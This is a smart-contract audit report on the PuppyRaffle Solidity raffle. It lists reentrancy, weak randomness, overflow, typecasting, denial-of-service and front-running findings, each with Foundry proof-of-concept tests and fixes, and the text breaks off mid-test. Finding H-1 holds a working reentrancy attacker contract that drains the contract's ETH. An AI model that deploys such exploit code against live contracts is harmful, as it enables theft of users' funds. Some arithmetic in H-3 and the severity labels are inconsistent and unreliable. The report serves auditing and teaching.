Prepared by: 0xrafiKaji

Lead Auditors:

- 0xrafiKaji

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. **Call the `enterRaffle` function with the following parameters:**

   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Auditryx team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
--- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of issues found
High	6
Medium	6
Low	2
Informational	6
Gas/CI	3
Total	23

Findings

High

[H-1] Reentrancy Vulnerability in `PuppyRaffle::refundPlayer`

Description: The `refundPlayer` function in the `PuppyRaffle` contract is vulnerable to reentrancy attacks. This function allows a player to request a refund of their entrance fee by sending a transaction. The vulnerability arises because the contract sends Ether to the player before updating the player's state in the `players` array. If the player is a contract with a fallback or receive function, it can call back into `refundPlayer` before its state is updated, allowing it to withdraw multiple times.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

 @>       payable(msg.sender).sendValue(entranceFee);
 @>       players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

Impact: High. A malicious contract could exploit this vulnerability to drain the contract's funds by repeatedly calling `refundPlayer` before its state is updated. This could lead to significant financial losses for the contract owner and Leads to total loss of ETH deposited by legitimate players.

Proof of Concept: This test demonstrates the reentrancy attack. It deploys a malicious contract that calls `refundPlayer` multiple times before the state is updated, draining the contract's ETH.

> **The attacker contract enters the raffle and triggers `PuppyRaffle::refund`. Its fallback re-peatedly calls `ReentrancyAttack::_stealMoney()`, exploiting the external call before state change.**

~ Results from running the test:

- **starting Attacker Contract Balance: 0**
- **starting Contract Balance: 4000000000000000000**
- **ending Attacker Contract Balance: 5000000000000000000**
- **ending Contact Balance: 0**

▶ **PoC Code**

```
function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new
ReentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance =
address(attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("starting Attacker Contract Balance: ",
startingAttackContractBalance);
        console.log("starting Contract Balance: ",
startingContractBalance);

        console.log("ending Attacker Contract Balance: ",
address(attackerContract).balance);
        console.log("ending Contact Balance: ",
address(puppyRaffle).balance);
    }

    contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee = 1e18;
    uint256 attackIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackIndex);
        }
    }

    receive() external payable {
        _stealMoney();
    }

    fallback() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation:

- **Apply the Checks-Effects-Interactions pattern: update all state variables before making external calls.**
- **Optionally, use OpenZeppelin's ReentrancyGuard on PuppyRaffle::refund() to prevent nested calls.**

Example fix:

```
function refund(uint256 playerIndex) public {
+       // Checks
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

+       // Effects
-       payable(msg.sender).sendValue(entranceFee);
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

+       // Interactions
+       payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak Randomness in Winner Selection and Rarity Assignment

Description:
The `selectWinner` function in the `PuppyRaffle` contract uses `keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))` to generate a pseudo-random `winnerIndex` for selecting the raffle winner and `keccak256(abi.encodePacked(msg.sender, block.difficulty))` to determine the rarity of the minted NFT. These sources of randomness are insecure because:

- `block.timestamp` and `block.difficulty` can be influenced by miners to some extent (e.g., `block.timestamp` within a ~15-second window, `block.difficulty` in certain PoW chains).
- `msg.sender` is predictable and controlled by the caller, allowing manipulation by choosing when or how to call the function.
- The use of `keccak256` with these inputs is deterministic and can be precomputed off-chain, enabling attackers to simulate outcomes and only submit transactions yielding favorable results (e.g., winning the raffle or securing a rare NFT).
  This weak randomness undermines the fairness of the raffle and NFT rarity assignment, as malicious actors (miners or participants) can bias the outcome in their favor.

Impact:
High. The weak randomness allows attackers to manipulate winner selection or NFT rarity, compromising the raffle's fairness and integrity. A malicious participant could repeatedly call `selectWinner` (or simulate calls off-chain) until they achieve a desired outcome, such as winning the raffle or obtaining a legendary NFT. If the attacker is a miner, they could further manipulate `block.timestamp` or `block.difficulty` to influence results, potentially leading to significant financial gains (e.g., winning the prize pool or a high-value NFT). This erodes user trust and could result in substantial losses for honest participants or the protocol.

Proof of Concept:
The relevant code in `selectWinner` is:

▶ PoC Code

```
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
...
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
block.difficulty))) % 100;
if (rarity <= COMMON_RARITY) {
    tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
    tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
    tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
```

- Manipulation Scenario: An attacker can simulate the `keccak256` hash off-chain using the known `msg.sender` (their address), an estimated `block.timestamp`, and `block.difficulty`. They can compute the resulting `winnerIndex` and `rarity` for various inputs and only submit the transaction when the outcome favors them (e.g., they win or get a legendary NFT).
- Miner Attack: If the attacker is a miner, they can adjust `block.timestamp` (within a small range) or, in PoW chains, influence `block.difficulty` to produce a hash that selects them as the winner or grants a high-rarity NFT.
- Reverting Transactions: Since the transaction can revert if the outcome is unfavorable (e.g., via a wrapper contract that checks the result), attackers can repeatedly attempt calls until they achieve the desired outcome, exploiting the transparency of the blockchain.

Recommended Mitigation: Replace the weak randomness with a secure, unpredictable source of randomness, such as Chainlink VRF (Verifiable Random Function), or implement a commit-reveal scheme to prevent precomputation. Chainlink VRF is preferred for its cryptographic security and auditability.

> Example Refactored Code (Using Chainlink VRF v2.5):

▶ Code

```
import "@chainlink/contracts/src/v0.8/vrf/dev/VRFConsumerBaseV2Plus.sol";
import
"@chainlink/contracts/src/v0.8/vrf/dev/libraries/VRFV2PlusClient.sol";

contract PuppyRaffle is VRFConsumerBaseV2Plus, ERC721 {
    uint256 public s_requestId;
    address public s_vrfCoordinator = /* Chainlink VRF Coordinator address
*/;
    bytes32 public s_keyHash = /* Gas lane key hash */;
    uint64 public s_subscriptionId = /* Chainlink subscription ID */;

    constructor(uint256 _entranceFee, address _feeAddress, uint256
_raffleDuration, address vrfCoordinator)
        VRFConsumerBaseV2Plus(vrfCoordinator)
        ERC721("Puppy Raffle", "PR")
    {
        // ... other initialization
    }

    function selectWinner() external {
        require(block.number >= raffleStartBlock + raffleDurationInBlocks,
"PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");

        // Request random number from Chainlink VRF
        s_requestId = s_vrfCoordinator.requestRandomWords(
            VRFV2PlusClient.RandomWordsRequest({
                keyHash: s_keyHash,
                subId: s_subscriptionId,
                requestConfirmations: 3,
                callbackGasLimit: 200000,
                numWords: 2 // Request two random numbers: one for winner,
one for rarity
            })
        );
    }

    function fulfillRandomWords(uint256 /* requestId */, uint256[] memory
randomWords) internal override {
        uint256 winnerIndex = randomWords[0] % players.length;
        address winner = players[winnerIndex];

        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint256(fee); // Use uint256 to avoid
overflow

        uint256 tokenId = totalSupply();
        uint256 rarity = randomWords[1] % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }

        delete players;
        raffleStartBlock = block.number;
        previousWinner = winner;

        (bool success,) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
    }
}
```

Additional Recommendations:

- **Configure Chainlink VRF with appropriate parameters (e.g., subscription ID, gas lane) and ensure the contract has sufficient LINK tokens.**
- **Alternatively, implement a commit-reveal scheme where players submit hashed commitments before the raffle ends, then reveal their inputs to generate randomness collectively.**
- **Document the randomness mechanism and its security properties in the project's documentation to build user trust.**
- **Consider pausing raffle entries before calling `selectWinner` to prevent last-minute manipulation attempts.**

[H-3] Overflow Vulnerability in `selectWinner` Due to Unchecked Arithmetic in Solidity <0.8.0

Description:
The `selectWinner` function performs arithmetic operations to calculate the `totalAmountCollected`, `prizePool`, and `fee` without overflow protection, as the contract uses Solidity 0.7.6. Prior to Solidity 0.8.0, arithmetic operations (e.g., multiplication and addition) do not automatically revert on overflow, allowing results to wrap around silently. This can lead to incorrect calculations, such as underestimating the prize pool or fees, potentially resulting in financial losses or unfair raffle outcomes. For example, if `players.length * entranceFee` exceeds `type(uint256).max`, the result wraps around to a smaller value, misrepresenting the collected funds.

Impact:
High. An overflow in `totalAmountCollected` could lead to a significantly reduced `prizePool` and `fee`, causing the winner to receive less than intended and the protocol owner to accumulate incorrect fees. This could disrupt the economic model of the raffle, lead to user distrust, or enable exploitation by submitting a large number of players to trigger the overflow. The issue is particularly severe in high-stake raffles with many participants or a high `entranceFee`.

Proof of Concept:
The relevant code in `selectWinner` is:

```
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

- In Solidity 0.7.6, multiplication is unchecked. If `players.length` is sufficiently large (e.g., `2^128` players with `entranceFee = 1 ether`), then `players.length * entranceFee` could exceed `type(uint256).max` (2^256 - 1 ≈ 1.1579e77). For example:
  - Let `players.length = 2^128` and `entranceFee = 10^18` (1 ether).
  - `totalAmountCollected = 2^128 * 10^18 ≈ 3.4e38`, which is less than `2^256 - 1` but could overflow in extreme cases with larger values or if `entranceFee` is higher.
  - If overflow occurs, `totalAmountCollected` wraps around (e.g., to a small value like `totalAmountCollected % 2^256`), leading to incorrect `prizePool` and `fee` calculations.
- This results in the winner receiving a smaller prize and the protocol owner accumulating incorrect fees, breaking the raffle's intended distribution.

> Add the following to the `PuppyRaffleTest.t.sol` test file.

▶ PoC code

```
function test_TotalFeesOverflow() public {
// Simulate 100 number of players entering the raffle
uint256 numOfPlayers = 100;
address[] memory players = new address[](numOfPlayers);
for (uint256 i = 0; i < numOfPlayers; i++) {
players[i] = address(uint160(i)); // Create unique
addresses
}
puppyRaffle.enterRaffle{value: entranceFee * numOfPlayers}(
players);
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
puppyRaffle.selectWinner();
uint256 expectedTotalFees = ((entranceFee * numOfPlayers) * 20)
/ 100;
uint256 actualTotalFees = puppyRaffle.totalFees();
console.log("Expected Total Fees: %s", expectedTotalFees);
console.log("Actual Total Fees: %s", actualTotalFees);
assert(actualTotalFees < expectedTotalFees);
vm.expectRevert();
puppyRaffle.withdrawFees();
// Logs:
// Expected Total Fees: 20000000000000000000(2e19)
// Actual Total Fees: 1553255926290448384(1.553e18)
}
```

Recommended Mitigation:
Upgrade to Solidity 0.8.0 or later, where arithmetic operations include built-in overflow checks that revert on overflow. Alternatively, use OpenZeppelin's `SafeMath` library (compatible with Solidity 0.7.6) to add explicit overflow checks for all arithmetic operations.

Example Refactored Code with SafeMath:

```
import "@openzeppelin/contracts/math/SafeMath.sol";

contract PuppyRaffle {
    using SafeMath for uint256;
    // ... other code

    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");

        uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
        address winner = players[winnerIndex];

        uint256 totalAmountCollected = players.length.mul(entranceFee);
        uint256 prizePool = totalAmountCollected.mul(80).div(100);
        uint256 fee = totalAmountCollected.mul(20).div(100);

        totalFees = totalFees + uint64(fee);
        // ... rest of the function
    }
}
```

If upgrading to Solidity 0.8.0+ is not feasible, ensure all arithmetic operations use `SafeMath` to prevent overflows. Additionally, consider adding upper bounds for `players.length` or `entranceFee` to limit the risk of extreme inputs triggering overflows.

[H-4] Unsafe Typecasting from uint256 to uint64 in `PuppyRaffle::selectWinner` Leads to Fee Truncation

Description:
The `selectWinner` function performs an unsafe typecast from `uint256` to `uint64` when updating `totalFees` with the calculated `fee`. The expression `totalFees = totalFees + uint64(fee)` truncates `fee` to fit within the `uint64` range (maximum value: 2^64 - 1 ≈ 18.446744073709551615 ether). If `fee` exceeds this limit, the higher-order bits are discarded, resulting in an incorrect, smaller value being added to `totalFees`. This is particularly problematic in Solidity 0.7.6, which lacks built-in overflow checks, exacerbating the risk of silent errors in fee accumulation.

Impact:
High. Truncation of `fee` due to the `uint64` cast can lead to significant under-accumulation of `totalFees`, causing the protocol owner to receive less than the intended 20% fee share. For example, a `fee` of 20 ether would be truncated to approximately 1.553255926290448384 ether, resulting in a loss of over 18 ether per raffle. This disrupts the protocol's economic model, reduces owner revenue, and could lead to disputes or loss of trust among users. In extreme cases, repeated truncations over multiple raffles could result in substantial financial losses.

Proof of Concept:
The vulnerable code in `selectWinner` is:

```
uint256 totalAmountCollected = players.length * entranceFee;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee); // Unsafe cast from uint256 to uint64
```

Consider the following scenario:

- Assume `players.length = 100` and `entranceFee = 1 ether` (10^18 wei).
- `totalAmountCollected = 100 * 10^18 = 100 ether`.
- `fee = (100 * 10^18 * 20) / 100 = 20 ether` (20 * 10^18 wei).
- `uint64(fee)` truncates 20 * 10^18 to 1553255926290448384 wei (≈1.553255926290448384 ether), as it discards bits beyond the 64th.
- `totalFees` (a `uint64`) is incremented by this truncated value, leading to a loss of approximately 18.446744073709551616 ether per raffle.

Test Case:

```
function testFeeTruncation() public {
    // Setup: Deploy contract and enter raffle with large fee
    uint256 entranceFee = 1 ether;
    address[] memory players = new address[](100);
    for (uint256 i = 0; i < 100; i++) {
        players[i] = address(uint160(i + 1));
    }
    vm.deal(address(this), 100 ether);
    puppyRaffle.enterRaffle{value: 100 ether}(players);

    // Record initial totalFees
    uint64 initialTotalFees = puppyRaffle.totalFees();

    // Trigger selectWinner
    vm.warp(block.timestamp + puppyRaffle.raffleDuration() + 1);
    puppyRaffle.selectWinner();

    // Check totalFees
    uint64 finalTotalFees = puppyRaffle.totalFees();
    uint256 expectedFee = (100 ether * 20) / 100; // 20 ether
    uint64 truncatedFee = uint64(expectedFee); // ≈1.553255926290448384
ether
    assertEq(finalTotalFees, initialTotalFees + truncatedFee);
    assertTrue(finalTotalFees < expectedFee); // Demonstrates truncation
}
```

This test shows that `totalFees` accumulates a truncated value, significantly less than the expected 20 ether.

Tools Used:
Manual audit, Foundry testing framework.

Recommended Mitigation:
Change the `totalFees` state variable from `uint64` to `uint256` to match the type of `fee`, eliminating the need for a cast and preventing truncation. This ensures accurate fee accumulation regardless of the input size.

Example Refactored Code:

```
uint256 public totalFees = 0; // Changed from uint64 to uint256

function selectWinner() external {
    require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle:
Raffle not over");
    require(players.length >= 4, "PuppyRaffle: Need at least 4 players");

    uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
    address winner = players[winnerIndex];

    uint256 totalAmountCollected = players.length * entranceFee;
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
    totalFees = totalFees + fee; // No cast needed
    // ... rest of the function
}
```

Additionally, consider upgrading to Solidity 0.8.0+ for built-in overflow checks and thoroughly test the updated contract to ensure compatibility with the new `totalFees` type. Document the change in the project’s documentation to clarify the fee accumulation logic.

[H-5] Replacing Refunded Player with Zero Address in `PuppyRaffle::refund` Causes `selectWinner` to Revert

Relevant GitHub Links

- refund function
- selectWinner function
- Prize pool transfer
- SafeMint call

Description:
The `refund` function in the `PuppyRaffle` contract replaces a refunded player's address in the `players` array with `address(0)` instead of removing the player entirely. This keeps the `players` array length unchanged, treating `address(0)` as a valid participant. In the `selectWinner` function, this causes two critical issues:

1. The `prizePool` calculation (`totalAmountCollected = players.length * entranceFee`) assumes all players have paid the `entranceFee`, overestimating the contract’s balance if players have refunded. This leads to an attempt to transfer more funds than available, causing the transfer to revert.
2. If `address(0)` is selected as the winner (possible due to weak randomness), the `_safeMint` call will revert, as the ERC721 standard disallows minting to the zero address.
   These issues render the `selectWinner` function inoperable after any refund, halting the raffle.

Impact:
High. The presence of `address(0)` in the `players` array after a refund causes `selectWinner` to consistently revert, effectively breaking the core functionality of the raffle. Users cannot receive prizes or NFTs, and the protocol becomes unusable until manually fixed, leading to loss of user trust and potential abandonment of the platform. While users can still refund their entrance fees, the inability to complete the raffle undermines the protocol’s purpose and could result in reputational and financial damage.

Proof of Concept:
The vulnerable code in `refund` is:

```
players[playerIndex] = address(0);
```

In `selectWinner`:

```
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
```

If a player refunds:

- `players[playerIndex]` is set to `address(0)`, but `players.length` remains unchanged.
- In `selectWinner`, `totalAmountCollected` is calculated using the full `players.length`, including refunded slots, leading to an inflated `prizePool`.
- The transfer to `winner` reverts if the contract's balance is less than `prizePool` (since refunded funds are no longer held).
- If `address(0)` is selected as `winner`, `_safeMint` reverts with "ERC721: mint to the zero address."

Test Case:

```
function testWinnerSelectionRevertsAfterRefund() public {
    // Setup: Enter 4 players
    address[] memory players = new address[](4);
    players[0] = address(1);
    players[1] = address(2);
    players[2] = address(3);
    players[3] = address(4);
    vm.deal(address(this), 4 ether);
    puppyRaffle.enterRaffle{value: 4 ether}(players);

    // Refund player at index 3
    vm.prank(address(4));
    puppyRaffle.refund(3);

    // Advance time to end raffle
    vm.warp(block.timestamp + puppyRaffle.raffleDuration() + 1);

    // Expect revert due to insufficient funds
    vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");
    puppyRaffle.selectWinner();

    // Add funds to bypass balance issue, but expect revert on mint
    vm.deal(address(puppyRaffle), 10 ether);
    vm.expectRevert("ERC721: mint to the zero address");
    puppyRaffle.selectWinner();
}
```

Tools Used:

- Foundry
- Manual audit

Recommended Mitigation:
Instead of setting `players[playerIndex]` to `address(0)`, remove the player from the `players` array by swapping with the last element and reducing the array length. This ensures `players.length` accurately reflects active participants and prevents `address(0)` from being a valid winner.

Example Refactored Code:

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

    payable(msg.sender).sendValue(entranceFee);

    // Swap and pop to remove player
    players[playerIndex] = players[players.length - 1];
    players.pop();

    emit RaffleRefunded(playerAddress);
}
```

Additionally, consider adding a check in `selectWinner` to ensure the contract's balance is sufficient for the `prizePool` transfer. Update documentation to clarify that refunds reduce the active player count, ensuring transparency for users and developers.

[H-6] Potential Front-Running Attack in `selectWinner` and `refund` Functions

Relevant GitHub Links

https://github.com/Cyfrin/2023-10-Puppy-Raffle/blame/e01ef1124677fb78249602a171b994e1f48a1298/src/PuppyRaffle.sol#L125

https://github.com/Cyfrin/2023-10-Puppy-Raffle/blame/e01ef1124677fb78249602a171b994e1f48a1298/src/PuppyRaffle.sol#L96

Description: Malicious actors can watch any `selectWinner` transaction and front-run it with a transaction that calls `refund` to avoid participating in the raffle if he/she is not the winner or even to steal the owner fess utilizing the current calculation of the `totalAmountCollected` variable in the `selectWinner` function.

Vulnerability Details: The PuppyRaffle smart contract is vulnerable to potential front-running attacks in both the `selectWinner` and `refund` functions. Malicious actors can monitor transactions involving the `selectWinner` function and front-run them by submitting a transaction calling the `refund` function just before or after the `selectWinner` transaction. This malicious behavior can be leveraged to exploit the raffle in various ways. Specifically, attackers can:

1. **Attempt to Avoid Participation: If the attacker is not the intended winner, they can call the `refund` function before the legitimate winner is selected. This refunds the attacker's entrance fee, allowing them to avoid participating in the raffle and effectively nullifying their loss.**
2. **Steal Owner Fees: Exploiting the current calculation of the `totalAmountCollected` variable in the `selectWinner` function, attackers can execute a front-running transaction, manipulating the prize pool to favor themselves. This can result in the attacker claiming more funds than intended, potentially stealing the owner's fees (`totalFees`).**

Impact:

- **Medium: The potential front-running attack might lead to undesirable outcomes, including avoiding participation in the raffle and stealing the owner's fees (`totalFees`). These actions can result in significant financial losses and unfair manipulation of the contract.**

Tools Used:

- **Manual review of the smart contract code.**

Recommended Mitigation: To mitigate the potential front-running attacks and enhance the security of the PuppyRaffle contract, consider the following recommendations:

- **Implement Transaction ordering dependence (TOD) to prevent front-running attacks. This can be achieved by applying time locks in which participants can only call the `refund` function after a certain period of time has passed since the `selectWinner` function was called. This would prevent attackers from front-running the `selectWinner` function and calling the `refund` function before the legitimate winner is selected.**

Medium

[M-1] Duplicate check via nested loops in `PuppyRaffle::enterRaffle` causes potential Denial of Service (DoS)

Description:
The `PuppyRaffle::enterRaffle` function attempts to prevent duplicate entries by looping through the entire `players` array and comparing each new player with all existing players. This creates a nested O(n²) loop, meaning the number of checks grows quadratically as the array size increases.

As more users join the raffle, gas costs rise sharply. Eventually, this function may become too expensive to execute, effectively preventing new participants from entering (DoS).

```

// @audit Dos Attack: The following nested loop causes O(n^2) complexity
 @>        for (uint256 i = 0; i < players.length - 1; i++) {
              for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
              }
          }
```

> **Additionally, the duplicate check does not prevent users from entering multiple times using new wallet addresses, making the cost of this check unnecessary compared to the limited security it provides.**

Impact:

1. **Gas inefficiency: Entrants later in the raffle pay much higher gas fees than earlier ones.**
2. **DoS vulnerability: At some point, gas usage could exceed block limits, preventing new players from entering.**
3. **Unfair participation: Malicious users could deliberately bloat the `players` array to lock out legitimate participants.**

Proof of Concept:
Consider 200 participants:

- **Adding the 1st player requires only a few checks.**
- **Adding the 200th player requires ~200 comparisons against the existing list, plus all previous checks done for earlier players.**

This quickly grows prohibitively expensive.

In testing, we observed:

- **1st 100 players: ~6,252,039 gas**
- **2nd 100 players: ~18,067,741 gas**

This demonstrates exponential growth in gas costs, making the contract unusable as the raffle scales.

▶ **PoC Code**

```
    function test_denialOfService() public {
        vm.txGasPrice(1);

        // Let's enter 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(uint160(i));
        }

        // see how much gas it costs to enter 1st 100 players
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas to enter 1st 100 players: ", (gasStart - gasEnd) *
tx.gasprice);

        // now enter 2nd 100 players
        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(uint160(i + playersNum));
        }

        // see how much gas it costs to enter 2nd 100 players
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(playersTwo);
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) *
tx.gasprice;
        console.log("Gas to enter 2nd 100 players: ", (gasStartSecond -
gasEndSecond) * tx.gasprice);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation:

1. **Use a mapping for constant-time lookups:**

- **Track entries using mapping(address => uint256) addressToRaffleId;**
- **Prevent duplicates by verifying if the current raffleId is already set for the player.**

```
mapping(address => uint256) public addressToRaffleId;
uint256 public raffleId;

function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must
send enough to enter raffle");

    for (uint256 i = 0; i < newPlayers.length; i++) {
        require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle:
Duplicate player");
        players.push(newPlayers[i]);
        addressToRaffleId[newPlayers[i]] = raffleId;
    }

    emit RaffleEnter(newPlayers);
}
```

2. **Increment raffleId on each new round:**

```
function selectWinner() external {
    require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle:
Raffle not over");
    raffleId += 1; // reset duplicates for the next round
}
```

3. Alternative: Use OpenZeppelin's `EnumerableSet` for duplicate checks and efficient player management.

[M-2] Missing Input Validation in `PuppyRaffle::enterRaffle` Function

Description: The `enterRaffle` function in the `PuppyRaffle` contract lacks critical input validations for the `newPlayers` array, allowing problematic inputs such as empty arrays, zero addresses, the `feeAddress`, or the `previousWinner`. These oversights can lead to undesirable behavior, including protocol disruptions, unfair raffle outcomes, or incorrect event emissions. Specifically:

- Empty array: Accepting an empty `newPlayers` array allows emitting a `RaffleEnter` event without adding players, which is misleading and violates the function's intended purpose.
- Zero address: Including `address(0)` in `newPlayers` could result in invalid raffle participants, potentially breaking winner selection or fee distribution logic.
- Fee address or previous winner: Allowing `feeAddress` or `previousWinner` to enter as players creates conflicts of interest, as the fee recipient or a prior winner could unfairly participate in the raffle. Additionally, the duplicate check is inefficient and only performed after adding players, which could waste gas if invalid inputs are detected late.

Impact: Medium to High.

- Allowing empty arrays wastes gas and emits misleading events, reducing protocol reliability and user trust.
- Zero addresses as players could cause errors in downstream logic (e.g., token transfers or winner payouts).
- Including `feeAddress` or `previousWinner` could undermine fairness, allowing privileged addresses to participate, potentially manipulating raffle outcomes.
- Inefficient duplicate checks increase gas costs, impacting user experience, especially for large `newPlayers` arrays.

Proof of Concept: The `enterRaffle` function is defined as:

```
function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
    for (uint256 i = 0; i < newPlayers.length; i++) {
        players.push(newPlayers[i]);
    }
    for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate player");
        }
    }
    emit RaffleEnter(newPlayers);
}
```

- **Empty array: Calling `enterRaffle([])` with an empty array passes the `msg.value` check (since `0 * entranceFee == 0`) and emits `RaffleEnter([])` without adding players, misleading users about raffle participation.**
- **Zero address: Passing `[address(0)]` adds the zero address to `players`, which could cause issues in `selectWinner` (e.g., failed NFT transfers).**
- **Fee address or previous winner: Passing `[feeAddress]` or `[previousWinner]` allows these addresses to be added to `players`, enabling unfair participation.**
- **Inefficient duplicate check: The nested loop checks duplicates after pushing all `newPlayers`, wasting gas if duplicates are found.**

▶ **PoC Code**

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

import "forge-std/Test.sol";
import "../src/PuppyRaffle.sol";

contract PuppyRaffleTest is Test {
    PuppyRaffle raffle;
    address feeAddress = makeAddr("feeAddress");
    address player1 = makeAddr("player1");
    address player2 = makeAddr("player2");
    uint256 entranceFee = 1 ether;
    uint256 raffleDuration = 1 days;

    function setUp() public {
        raffle = new PuppyRaffle(entranceFee, feeAddress, raffleDuration);
        vm.deal(feeAddress, 1 ether);
        vm.deal(player1, 1 ether);
        vm.deal(player1, 1 ether);
    }

    // Test 1: Empty array input
    function testEnterRaffleWithEmptyArray() public {
        address[] memory newPlayers = new address[](0);
        vm.prank(player1);
        // Empty array passes and emits event without adding players
        raffle.enterRaffle{value: 0}(newPlayers);
        // Verify event emission (misleading as no players were added)
        // Note: Foundry's event assertion requires custom handling, but we
confirm array length
        assertEq(raffle.getPlayers().length, 0, "Player array should remain
empty");
    }

    // Test 2: Zero address input
    function testEnterRaffleWithZeroAddress() public {
